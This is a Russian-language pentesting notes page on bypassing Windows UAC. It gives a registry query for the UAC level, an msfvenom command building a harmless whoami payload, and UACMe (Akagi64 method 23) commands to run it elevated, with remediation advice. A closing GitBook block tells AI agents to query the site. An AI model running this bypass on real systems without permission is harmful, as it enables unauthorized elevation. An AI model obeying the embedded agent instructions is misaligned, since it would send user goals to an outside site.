> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/windows-vulnerabilities/local-privilege-escalation-and-credentials/bypass-uac-user-account-control.md).

# Обход UAC

Контроль учетных записей пользователей ограничивает автоматическое повышение прав для административных действий. Обход UAC полезен только тогда, когда текущий пользователь уже имеет отфильтрованный токен администратора или на хосте слабая конфигурация повышения прав.

## Проверьте уровень UAC

```powershell
(Get-ItemProperty -Path "HKLM:/SOFTWARE/Microsoft/Windows/CurrentVersion/Policies/System").ConsentPromptBehaviorAdmin
```

Распространённые значения:

| Значение | Значение                                        |
| -------- | ----------------------------------------------- |
| `0`      | Без запроса UAC                                 |
| `1`      | Тихое повышение прав в зависимости от контекста |
| `2`      | Стандартный запрос                              |
| `5`      | Более строгий режим запроса                     |

<figure><img src="/files/633b27eb74bdad534760abdbee1685445fe46f63" alt="UAC registry policy query"><figcaption></figcaption></figure>

<figure><img src="/files/0632d9b6ae6c8ebb53719811254eaeee9ea50930" alt="UAC policy value result" width="563"><figcaption></figcaption></figure>

## Подготовьте двоичный файл для лабораторной проверки

```bash
msfvenom -p windows/exec CMD='cmd /c whoami /all > C:\Windows\Temp\uac-check.txt' -f exe -o uac-check.exe
```

## Выполните с UACMe

{% embed url="<https://github.com/hfiref0x/UACME>" %}

```powershell
.\Akagi64.exe 23 C:\Temp\uac-check.exe
Get-Content C:\Windows\Temp\uac-check.txt
```

<figure><img src="/files/d5e11f2a861447e30f5ec7fe7facb10c064928a4" alt="UACMe execution in a Windows lab"><figcaption></figcaption></figure>

## Ключевые моменты

* Обход UAC не является настоящим повышением привилегий для стандартного пользователя.
* Перед тестированием подтвердите уровень UAC и контекст токена.
* Сначала используйте безвредное действие для проверки, а затем переходите к ограниченному действию оценки только при наличии разрешения.
* Устраните проблему, используя строгие настройки UAC и избегая открытых сеансов администратора.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/windows-vulnerabilities/local-privilege-escalation-and-credentials/bypass-uac-user-account-control.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
